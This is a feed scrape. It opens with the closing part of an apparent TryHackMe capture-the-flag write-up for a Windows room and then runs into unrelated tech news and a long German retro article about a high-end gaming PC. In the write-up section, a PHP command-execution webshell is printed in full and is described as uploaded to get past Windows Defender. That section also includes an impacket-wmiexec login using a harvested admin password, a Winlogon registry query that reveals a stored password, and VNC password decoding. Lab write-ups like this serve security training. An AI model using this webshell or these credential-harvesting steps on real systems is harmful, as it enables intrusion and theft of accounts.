visited the /images directory and found the following images that were running on the slideshow.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7GZybqgdd0vWqywWz62WiQ.png"></figure><ul><li>Next, I moved to FTP enumeration. I got access to the FTP directory because anonymous login was enabled.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ma2pVq2_EykrO3auyrrA1w.png"></figure><ul><li>There was a notice.txt file.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9bpjbVW1IGDHOi3GXKCauw.png"></figure><ul><li>There was a message left in notice.txt written as follows.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7_dh2nFcaBmojIvr2-7BZQ.png"></figure><ul><li>It mentioned that the images FTP directory was moved to a Windows file share, which more probably than not referred to SMB shares.</li><li>Next, I moved on to SMB enumeration.</li></ul><h3>0x01: SMB Enumeration</h3><ul><li>I used smbclient to list the available shares on the target.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QSlMp9k7kmXchKP3enoVUA.png"></figure><ul><li>Here I could see several custom shares such as images$ , Installs$ and Users.</li><li>I first checked the images share and found the following images as I had seen in the /images directory on the webpage. I wondered if we could upload a webshell here and gain an initial foothold.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CDAFLtt2NdSM_l9j-LkUdg.png"></figure><ul><li>I got the PHP reverse shell from <a href="https://github.com/pentestmonkey/php-reverse-shell">PentestMonkey</a>, configured it with my custom IP address and port, and uploaded it to the images SMB share.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gVrz3IfH0F_RZzUWwNnlQw.png"></figure><ul><li>I navigated to the /images endpoint on the webpage and tried running the webshell but it immediately got flagged by Windows Defender and was deleted.</li><li>Next, I tried using a different webshell which executed commands and took the input via GET-based parameters.</li></ul><pre>&lt;html&gt;<br>&lt;body&gt;<br>&lt;form method="GET" name="&lt;?php echo basename($_SERVER['PHP_SELF']); ?&gt;"&gt;<br>&lt;input type="TEXT" name="cmd" id="cmd" size="80"&gt;<br>&lt;input type="SUBMIT" value="Execute"&gt;<br>&lt;/form&gt;<br>&lt;pre&gt;<br>&lt;?php<br>    if(isset($_GET['cmd']))<br>    {<br>        system($_GET['cmd']);<br>    }<br>?&gt;<br>&lt;/pre&gt;<br>&lt;/body&gt;<br>&lt;script&gt;document.getElementById("cmd").focus();&lt;/script&gt;<br>&lt;/html&gt;</pre><ul><li>I uploaded the shell again to the SMB images share and it worked like a charm!</li></ul><h3>0x02: Web Shell</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2ruwLr_Ouo6mzw6LC-4Nzw.png"></figure><ul><li>I was logged in as the sign user. I looked for the user flag in the sign user directory.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K0ueQFlNypgeFuQkWfu-ew.png"></figure><ul><li>The user flag was found in the user_flag.txt file.</li><li>Next, I checked out the Installs share in C:\ directory.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S60Y2GKlfMGdy1ogehSjuA.png"></figure><ul><li>The following files were found in the directory.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cb8kQ_rMc_XrfcnL-Uk6cQ.png"></figure><ul><li>There were a lot of interesting files to check out here. I viewed the contents of every file, starting with Install Guide.txt .</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9Tn-MeE3fhrj8zRRKxfF0w.png"></figure><ul><li>I couldn’t figure out how these instructions could be of any use to me, so I moved on to other files.</li><li>I checked the Install_www_and_deploy.bat script and found the following code.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qf0_u9lxOE4-wOqOt1EIaQ.png"></figure><ul><li>This seemed like a batch script that was running the infamous PsExec tool by Impacket, authenticating with administrator credentials. Here, I could view the admin password in cleartext, which could be used to gain a high-privilege shell to the target.</li><li>I used Impacket’s WMIExec tool to get a shell on the target. I could have used PsExec, but considering Windows Defender was running on the target, it would have been easily flagged.</li></ul><pre>impacket-wmiexec Administrator:RCYCc3GIjM0v98HDVJ1KOuUm4xsWUxqZabeofbbpAss9KCKpYfs2rCi@10.48.186.208</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pArD96wPJGZhxCT1T0IZlQ.png"></figure><h3>0x03: Admin Shell</h3><ul><li>I also had to find the sign user’s password as per the objectives stated in the room. It took me quite a few lookups on Google till I eventually found a way to get the password from the Windows Registry.</li></ul><pre>reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u9c4IhdcofRGnplxbZhI-Q.png"></figure><ul><li>I was able to fetch the user's password from the Winlogon registry key.</li><li>Next, I had to find the VNC password. My first instinct was to return to the Installs share as before and look through the ultravnc.ini file.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/666/1*0Qhoz02MgHQ-GUJcsYtn2Q.png"></figure><ul><li>As can be seen in the first lines of the file itself, we found the encoded password.</li><li>I took the encoded parts of the password and used this website to decode them. <a href="https://keydecryptor.com/decryption-tools/vnc">Online VNC Password Decoder (Decryptor) — KeyDecryptor Tool</a></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vcNZJbS7yupNyyTcjDDO5Q.png"></figure><ul><li>I had successfully obtained the VNC password. The only objective that remained was the administrator flag.</li><li>I checked the Desktop folder of the Administrator and found the admin flag in admin_flag.txt .</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4Tn_PSdY2jrzVpJ-1Y0hHA.png"></figure><ul><li>And with that, all the flags were obtained, and the room was solved!</li></ul><p>I hope you found this write-up useful. Make sure to drop a follow for more such content in the future.</p><p>Happy Hacking!</p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=006864c93de0" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/allsignspoint2pwnage-tryhackme-windows-write-up-006864c93de0">AllSignsPoint2Pwnage — TryHackMe Windows Write-up</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Redmond's reaper cometh: October 2026 set to bury a graveyard of Microsoft products]]></title>
<description><![CDATA[Office LTSC 2021, Windows Server 2022, Publisher, and Entra ID risk policies all facing the chop within weeks of each other]]></description>
<link>https://tsecurity.de/de/3685861/it-nachrichten/redmonds-reaper-cometh-october-2026-set-to-bury-a-graveyard-of-microsoft-products/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685861/it-nachrichten/redmonds-reaper-cometh-october-2026-set-to-bury-a-graveyard-of-microsoft-products/</guid>
<pubDate>Wed, 22 Jul 2026 12:02:45 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Office LTSC 2021, Windows Server 2022, Publisher, and Entra ID risk policies all facing the chop within weeks of each other]]></content:encoded>
</item>
<item>
<title><![CDATA[Kein Neu-Upload mehr nötig: Instagram lässt euch Musik nachträglich bearbeiten]]></title>
<description><![CDATA[Instagram erlaubt erstmals, die Musik von Posts nachträglich zu ändern oder hinzuzufügen. Zudem soll aus Hidden Requests künftig schlicht Spam werden.
weiterlesen auf t3n.de]]></description>
<link>https://tsecurity.de/de/3685812/it-nachrichten/kein-neu-upload-mehr-noetig-instagram-laesst-euch-musik-nachtraeglich-bearbeiten/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685812/it-nachrichten/kein-neu-upload-mehr-noetig-instagram-laesst-euch-musik-nachtraeglich-bearbeiten/</guid>
<pubDate>Wed, 22 Jul 2026 11:37:34 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Instagram erlaubt erstmals, die Musik von Posts nachträglich zu ändern oder hinzuzufügen. Zudem soll aus Hidden Requests künftig schlicht Spam werden.
<a href="https://t3n.de/news/kein-neu-upload-mehr-noetig-instagram-laesst-euch-musik-nachtraeglich-bearbeiten-1753979/?utm_source=rss&amp;utm_medium=newsFeed&amp;utm_campaign=newsFeed">weiterlesen auf t3n.de</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Vier Grafikkarten, sechs CPU-Kerne: So sah vor 14 Jahren die Höllenmaschine 4 aus]]></title>
<description><![CDATA[Hinweis: Dieser Artikel erschien im März 2007 auf pcwelt.de. Anlässlich unseres 20‑jährigen Jubiläums haben wir mittels der Wayback Machine des Internet Archive das zeitgeschichtliche Dokument restauriert. Wir haben alle Hyperlinks im Text belassen – sofern sie noch auf historische Inhalte führen...]]></description>
<link>https://tsecurity.de/de/3685665/it-nachrichten/vier-grafikkarten-sechs-cpu-kerne-so-sah-vor-14-jahren-die-hoellenmaschine-4-aus/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685665/it-nachrichten/vier-grafikkarten-sechs-cpu-kerne-so-sah-vor-14-jahren-die-hoellenmaschine-4-aus/</guid>
<pubDate>Wed, 22 Jul 2026 10:34:12 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Hinweis: Dieser Artikel erschien im März 2007 auf pcwelt.de. Anlässlich unseres 20‑jährigen Jubiläums haben wir mittels der <a href="https://web.archive.org/" target="_blank" rel="noreferrer noopener">Wayback Machine des Internet Archive</a> das zeitgeschichtliche Dokument restauriert. Wir haben alle Hyperlinks im Text belassen – sofern sie noch auf historische Inhalte führen.</p>



<p>Hier geht es direkt zum <a href="https://www.pcwelt.de/hmx" target="_blank" rel="noreferrer noopener">Gewinnspiel der aktuellen Höllenmaschine HMX 6 im Gesamtwert von 40.000 Euro</a>. Bestens informiert bleiben Sie mit unserem <a href="https://www.pcwelt.de/newsletter-anmeldung" target="_blank" rel="noreferrer noopener">HMX-6-Newsletter</a> – aber vergessen Sie nicht, die Anmeldung via E-Mail zu bestätigen. Und nun viel Spaß mit der vierten Höllenmaschine:</p>



<p>Die PC-WELT Höllenmaschine 4 repräsentiert den Stand der PC-Technik. Die beste Hard- und Software ist gerade gut genug für den ultimativen Rechnertraum. Auch die vierte Generation im Wert von 13.333 Euro können Sie wieder gewinnen.</p>



<p>Das Rückgrat des 22 Kilogramm schweren <a href="https://web.archive.org/web/20120907053335/http://www.coolermaster.de/product.php?category_id=18&amp;product_id=6767">Cooler Master Cosmos II</a> bildet eine massive Stahlkonstruktion. Zu den Besonderheiten des 300 Euro teuren Big-Towers gehören eine zentrale Lüftersteuerung, Kabelmanagement, Flügeltüren und massig Platz: Das Gehäuse besitzt allein elf Laufwerksschächte für 3,5-Zoll-Festplatten und nimmt Hauptplatinen bis zum E-ATX-Formfaktor auf.</p>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper">

</div></figure>



<h2 class="wp-block-heading toc">Airbrush der Höllenmaschine 4</h2>



<p>Für das lodernde Airbrush und das seitliche Sichtfenster der Höllenmaschine 4 zeichnen sich die Casemodder Martin und Stefan Blass verantwortlich. Sein höllisch gutes Aussehen verdankt das Gehäuse den international bekannten Casemoddern Martin und Stefan Blass. Auf ihrer <a href="https://web.archive.org/web/20120707010431/http://babetech.de/">Website</a> können Sie sich von den Fähigkeiten der kunstfertigen Casemodder überzeugen. Das preisgekrönte Brüderpaar kümmert sich nicht nur um das teuflische Airbrush und bauliche Veränderungen wie das seitliche Sichtfenster, sondern zeichnet sich auch für die Innenbeleuchtung der Gehäusemodifikation verantwortlich.</p>



<p>Die Gebrüder haben für den schönen Schein einen <a href="https://web.archive.org/web/20100211155227/http://www.leds-and-more.de/catalog/product_info.php?products_id=1128">Multidimmer von Richter</a> eingebaut, der LED-Ketten im Gehäuseinnenraum und im Bodenbereich ansteuert. Über die beiliegende Fernbedienung wählen Sie zwischen acht verschiedenen Grundfarben aus, regulieren die Helligkeit und definieren individuelle Farbwechsel.</p>



<p>Bei der Asus Rampage IV Extreme paart sich eine erlesene Hauptplatinen-Ausstattung mit einem detailverliebten UEFI-Bios, das keine Wünsche offen lässt: Die Sockel-LGA2011-Hauptplatine basiert auf dem Intel-Chipsatz X79. Das UEFI-Motherboard besitzt je acht Speicherbänke, SATA- und USB-Ports sowie fünfmal 16x PCI-Express 3.0. Zur Sonderausstattung gehören CMOS-, Start- und Reset-Knopf, Diagnose-LED, Bluetooth-Unterstützung und umfassende Übertaktungsoptionen, die sich zudem in Echtzeit überwachen lassen.</p>



<h2 class="wp-block-heading toc">Prozessor: die schnellste Desktop-CPU der Welt</h2>



<p>Der <a href="https://web.archive.org/web/20130510132630/http://www.pcwelt.de/produkte/CPU-mit-Rekordtempo-Intel-Core-i7-3960X-Extreme-Edition-im-Test-3907870.html">Intel Core i7-3960X</a> ist der aktuell schnellste Desktop-Prozessor im Test. Das Intel-Flaggschiff besitzt sechs CPU-Kerne und arbeitet dank Hyperthreading als virtueller 12‑Kern‑Prozessor. Der Werkstakt liegt bei 3,3 Gigahertz, in der Höllenmaschine 4 läuft der Core i7 mit 4 GHz. Berechnungen puffert der 3960X in einem dreistufigen Cache-System: So ist die dritte Cache-Stufe, die alle Prozessorkerne dynamisch nutzen können, 15 MB mächtig. Auf die erste und zweite Cache-Stufe mit 64 beziehungsweise 256 KB darf hingegen jeder CPU-Kern exklusiv zugreifen.</p>



<p>Eine der wichtigsten exklusiven Funktionen der LGA2011-Baureihe ist der integrierte Speicher-Controller, der vier DDR3-Kanäle gleichzeitig ansteuert. Ebenfalls in der CPU verbaut sind 40 PCI-Express-3.0-Kanäle. Zur weiteren Ausstattung gehören der Schutz vor Angriffen durch einen Puffer-Überlauf (XD-Bit), zusätzliche Befehlssätze wie SSE 4.2 und das Advanced Encryption Standard Instruction Set (AES IS) sowie die Advanced Vector Extensions (AVX). Zudem unterstützt der Prozessor die Virtualisierungs-Technik Intel VT sowie 32- und 64-Bit-Betriebssysteme – so lassen sich etwa virtuelle Workstations mit unterschiedlichen Betriebssystemen einrichten.</p>



<p>Die Wasserkühlung Cooler Master Eisberg 240L Prestige gibt die CPU-Abwärme über einen Dual-Radiator an die Außenwelt ab, der zwei 120-Millimeter-Lüfter beherbergt. Das Rotationstempo der mit knapp 21 dB(A) sehr leisen Lüfter liegt bei 1600 Umdrehungen pro Minute. Im Microchannel-Kühlblock arbeitet deutsche Pumpentechnik, die bis zu 400 Liter pro Stunde durch das Kühlsystem schleudert und für mindestens 50 000 Betriebsstunden ausgelegt ist. Der keramikbeschichtete Pumpenantrieb dreht sich mit bis zu 3600 Rotationen pro Minute.</p>



<h2 class="wp-block-heading toc">Grafik: 2x ASUS GTX690-4GD5 im Quad-SLI</h2>



<p>Um die Grafikdarstellung kümmert sich in der Höllenmaschine 4 die derzeit leistungsfähigste Grafikkarte der Welt, die <a href="https://web.archive.org/web/20121015164916/http://www.asus.com/Graphics_Cards/NVIDIA_Series/GTX6904GD5/">ASUS GTX690-4GD5</a>. Kostenpunkt: knapp 1000 Euro pro Stück. Die Karte beherbergt mit der <a href="https://web.archive.org/web/20121006082219/http://www.pcwelt.de/produkte/Grafikkarte-Nvidia-Geforce-GTX-690-im-Test-5780074.html">Nvidia Geforce GTX 690</a> gleich zwei 915 Megahertz schnelle Grafikprozessoren, die gemeinsam die 3D-Berechnung übernehmen.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a60804a22aec"}' data-wp-interactive="core/image" class="wp-block-image size-full wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/07/ASUS-GTX690-4GD5-im-Quad-SLI.jpg?quality=50&amp;strip=all" alt="2x ASUS GTX690-4GD5 im Quad-SLI in der Höllenmaschine 4" class="wp-image-3188925" width="900" height="608" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button><figcaption class="wp-element-caption">Quad-SLI in der Höllenmaschine 4 mit zwei ASUS GTX690-4GD5</figcaption></figure><p class="imageCredit">PC-WELT</p></div>



<p>In der Höllenmaschine 4 sind gleich zwei der Asus-Doppeldecker, die über eine SLI-Brücke (Scalable Link Interface) verbunden sind. So arbeiten insgesamt vier Grafikprozessoren parallel im Quad-SLI-Modus. In der Summe stehen damit die Rechen-Power von 6144 Shader- und 512 Textur-Einheiten sowie 128 Rasteroperatoren bereit. Dabei kann der Karten-Verbund auf 4 Gigabyte GDDR5-Videospeicher zugreifen, der mit einem effektiven Datentakt von 6000 MHz arbeitet. Jede Grafikkarte besitzt mit einem Mini-Displayport und dreimal DVI vier digitale Ausgänge.</p>



<h2 class="wp-block-heading toc">Ausstattung der Höllenmaschine 4 im Überblick</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><tbody><tr><th>Komponente</th><th>Modell</th><th>Preis (Euro) <strong>am 31.8.2012</strong></th></tr><tr><td>Gehäuse</td><td>Casemod auf Basis des Cooler Master Cosmos II</td><td>1413</td></tr><tr><td>Hauptplatine</td><td>Asus Rampage IV Extreme, Intel X79, LGA2011</td><td>350</td></tr><tr><td>Prozessor</td><td>Intel Core i7-3960X, 3,30 GHz, 6 Kerne, 12 Theads</td><td>900</td></tr><tr><td>CPU-Kühlung</td><td>Cooler Master Eisberg 240L Prestige</td><td>180</td></tr><tr><td>Arbeitsspeicher</td><td>8 x 8 GB Adata XPG X Series PC3-17066U</td><td>880</td></tr><tr><td>Grafikkarte</td><td>2 x Asus GTX690-4GD5, Nvidia Geforce GTX 690</td><td>2000</td></tr><tr><td>Bildschirme</td><td>3 x ASUS VG278H, 27 Zoll, 3D-LED-LCD,</td><td>1550</td></tr><tr><td>SSD (System)</td><td>OCZ RevoDrive 3 X2 480GB, PCI-Express, 4fach Raid-0</td><td>650</td></tr><tr><td>Festplatten (Daten intern)</td><td>4 x Western Digital VelociRaptor 1000GB, Raid-5</td><td>1000</td></tr><tr><td>Festplatten (Daten extern)</td><td>2 x Western Digital Caviar Green 3000GB</td><td>300</td></tr><tr><td>Blu-ray-Brenner</td><td>Asus BW-12B1ST, SATA</td><td>100</td></tr><tr><td>Netzteil</td><td>Cooler Master Silent Pro Hybrid 1300W</td><td>250</td></tr><tr><td>Eingabegerät</td><td>Logitech G9x Laser Mouse und G19 Gaming Keyboard</td><td>200</td></tr><tr><td>Lautsprecher-Set</td><td>Logitech Z906, 5.1 System</td><td>250</td></tr><tr><td>Headset</td><td>Logitech G930 Wireless Gaming Headset</td><td>150</td></tr><tr><td>Betriebssystem</td><td>Microsoft Windows 7 Ultimate 64 Bit</td><td>160</td></tr><tr><td>Multimedia-Paket</td><td>Adobe Creative Suite 6 Design &amp; Web Premium</td><td>2000</td></tr><tr><td>Spiele-Paket</td><td>18 Top-Titel</td><td>600</td></tr><tr><td>Office-Paket</td><td>Microsoft Office Professional 2010</td><td>400</td></tr></tbody></table></figure>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a60804a2346d"}' data-wp-interactive="core/image" class="wp-block-image size-full wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/07/pc-welt-hoellenmaschine-4-von-links-mit-offener-fluegeltuer.jpg?quality=50&amp;strip=all" alt="Höllenmaschine 4 mit geöffneter Flügeltür" class="wp-image-3188918" width="1024" height="768" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button></figure><p class="imageCredit">PC-WELT</p></div>



<h2 class="wp-block-heading toc">Monitore: PC-Spiele in 3D auf 3 Panels gleichzeitig</h2>



<p>Der Höllenmaschine 4 stellen wir den 27-Zoll-Bildschirm <a href="https://web.archive.org/web/20120620023231if_/http://www.asus.de/Display/LCD_Monitors/VG278H">ASUS VG278H</a> zur Seite. Die physikalische Auflösung des 120-Hertz-Monitors beträgt 1920 x1080 Pixel, die Reaktionszeit 2 Millisekunden. Die LED-Hintergrundbeleuchtung erzielt eine Helligkeit von 300 cd/m2 und unterstützt die Lightboost-Technik und damit natürlich auch <a href="https://web.archive.org/web/20120905172245/http://www.pcwelt.de/produkte/Test-Nvidia-3D-Vision-2-4158397.html">Nvidia 3D Vision 2</a> – eine Technologie, die das Spielen in der dritten Dimension möglich macht. Im Lieferumfang des Asus-LCDs ist das “Nvidia 3D Vision”-Set aus Infrarot-Sender (integriert im Bildschirmrahmen) und Shutter-Brille enthalten. Der VG278H bietet mit DVI, HDMI und D-Sub drei Videoeingänge sowie einen Kopfhöreranschluss.</p>



<p>Ein großer 27-Zoll-Monitor ist gut, doch drei ASUS VG278H sind besser. Die gebündelte Auflösung des Bildschirm-Trios von 5760 x 1080 Pixeln erlaubt einen Desktop, auf dem sich bequem arbeiten lässt: Da kann man zahlreiche Fenster in ihrer vollen Größe geöffnet lassen, und behält dennoch den Überblick. Interessant ist diese große Arbeitsumgebung auch für Grafiker und Video-Bearbeiter, die dadurch gleich mehrere Projekte am Laufen halten, ohne eines schließen zu müssen.</p>



<p>Ernsthaften PC-Spielern kann dagegen die Bildschirmgröße nicht groß genug sein – denn sie bedeutet größere Übersicht und ein realistischeres Spielerlebnis. So füllt etwa die wunderschöne Landschaft in Skyrim die volle Breite der drei Monitore aus und wirkt dadurch schon fast wie ein echter Horizont, der Lust auf das Erkunden macht. Dank der brachialen Leistung der Höllenmaschine 4 und <a href="https://web.archive.org/web/20120825211507/http://www.nvidia.de/object/3d-vision-surround-requirements-de.html">Nvidia 3D Vision Surround</a> geht das auch flüssig in stereoskopischem 3D.</p>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper">

</div></figure>



<h2 class="wp-block-heading toc">Arbeitsspeicher: Quad-Channel mit 64 Gigabyte</h2>



<p>Speicher kann man nie genug haben! Die acht Module Adata XPG X Series PC3-17066U mit jeweils 8 Gigabyte Kapazität steuert der Controller in der Intel-CPU im Vierkanal-Modus an. Die Module laufen mit 10-11-11-30er-Zugriffszeiten. Der mit dem Extreme Memory Profile (XMP) effektiv 2133 Megahertz schnelle Arbeitsspeicher beschert der Höllenmaschine 4 eine Speicherbandbreite von über 45 Gigabyte pro Sekunde. Da macht Virtualisierung so richtig Spaß.</p>



<h2 class="wp-block-heading toc">PCI-Express-SSD, 4 WD VelociRaptor und 4 WD Caviar Green </h2>



<p>Das Betriebssystem und alle Programme dürfen auf der Solid State Drive OCZ RevoDrive 3 X2 480GB Platz nehmen. Die Flashspeicher-Festplatte arbeitet mit vier Sandforce-SF-2281-Controllern intern als Raid-0-Verbund. Dadurch erreicht die SSD eine Datentransferrate von in der Spitze fast 1400 Megabyte pro Sekunde und einen Befehlsdurchsatz von bis zu 230.000 IOPS beim zufälligen Schreiben von 4-KB-Blöcken. Eine herkömmliche SATA-Schnittstelle würde das OCZ-Modell ausbremsen, deswegen setzt das RevoDrive auf einen PCI-Express-Anschluss.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a60804a23f8a"}' data-wp-interactive="core/image" class="wp-block-image size-full wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/07/OCZ-RevoDrive-3-X2.jpg?quality=50&amp;strip=all" alt="OCZ RevoDrive 3 X2: SSD der Höllenmaschine 4" class="wp-image-3188932" width="1024" height="725" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button><figcaption class="wp-element-caption">Die erste SSD in einer Höllenmaschine: OCZ RevoDrive 3 X2</figcaption></figure><p class="imageCredit">OCZ/Kioxia </p></div>



<p>Das interne Backup übernimmt ein RAID-5‑Verbund aus vier 1-Terabyte-Festplatten. Dabei kommt das derzeit schnellste 3,5-Zoll-Laufwerk im Test zum Einsatz, die <a href="https://web.archive.org/web/20121006075341/http://www.pcwelt.de/produkte/Test-Western-Digital-VelociRaptor-WD1000D-Festplatte-5763554.html">Western Digital VelociRaptor WD1000DHTZ</a>. Die VelociRaptor rotiert mit 10.000 Umdrehungen pro Minute und puffert Zugriffe in einem 64 MB großen Cache. Die maximale Datenrate der Festplatte liegt bei 210 Megabyte pro Sekunde, die durchschnittliche Zugriffszeit bei 3,7 Millisekunden. Als RAID-5‑Verbund kommt das Platten-Quartett auf bis zu 560 Megabyte pro Sekunde und stellt dabei noch knapp 2,7 Gigabyte nutzbare Kapazität zur Verfügung.</p>



<p>Die Aufgabe des klassischen Massenspeichers für umfangreiche Foto-, Musik- und Videosammlungen übernehmen die beiden 3,5-Zoll-Festplatten <a href="https://web.archive.org/web/20120922021349/http://www.pcwelt.de/produkte/Test-Western-Digital-Caviar-Green-WD30EZRX-6091202.html">Western Digital Caviar Green 3000GB WD30EZRX</a>. Die besonders stromsparenden Laufwerke stecken in den zwei abschließbaren Hot-Swap-Schächten der Höllenmaschine 4. So lassen sich schnell und bequem knapp 5,5 Terabyte nutzbarer Speicherplatz im laufenden Betrieb an- und abstöpseln oder auch mal unkompliziert von A nach B tragen.</p>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper">

</div></figure>



<h2 class="wp-block-heading toc">Stromversorgung: bis zu 105 Ampere auf der 12-Volt-Schiene</h2>



<p>Keine Kompromisse machen wir bei der Stromversorgung der Höllenmaschine 4. Das <a href="https://web.archive.org/web/20121005045440/http://coolermaster.de/product.php?product_id=6744" target="_blank" rel="noreferrer noopener">Cooler Master Silent Pro Hybrid 1300W</a> bietet genügend Reserven, um alle Komponenten zuverlässig mit Energie zu versorgen. Das vollständig modulare Netzteil stellt auf der 12-Volt-Schiene in der Spitze bis zu 105 Ampere bereit und federt damit auch locker die Lastspitzen der stromhungrigen Grafikkarten ab.</p>



<p>Aufgrund der “<a href="https://web.archive.org/web/20121005072013/http://www.plugloadsolutions.com/80PlusPowerSupplies.aspx">80 PLUS Gold</a>“-Zertifizierung arbeitet das ATX-2.3-Kraftpaket mit einem Wirkungsgrad von über 90 Prozent trotzdem sehr energieeffizient. Dank der semipassiven Kühlung ist das 1300-Watt-Netzteil aber auch flüsterleise. Zudem erlaubt die im Lieferumfang enthaltene 5,25-Zoll-Lüftersteuerung neben dem automatischen Modus ein stufenlos regulierbares Drehtempo für den 130-Millimeter-Lüfter – bei harter Dauerbelastung drehen Sie den Regler einfach voll auf.</p>



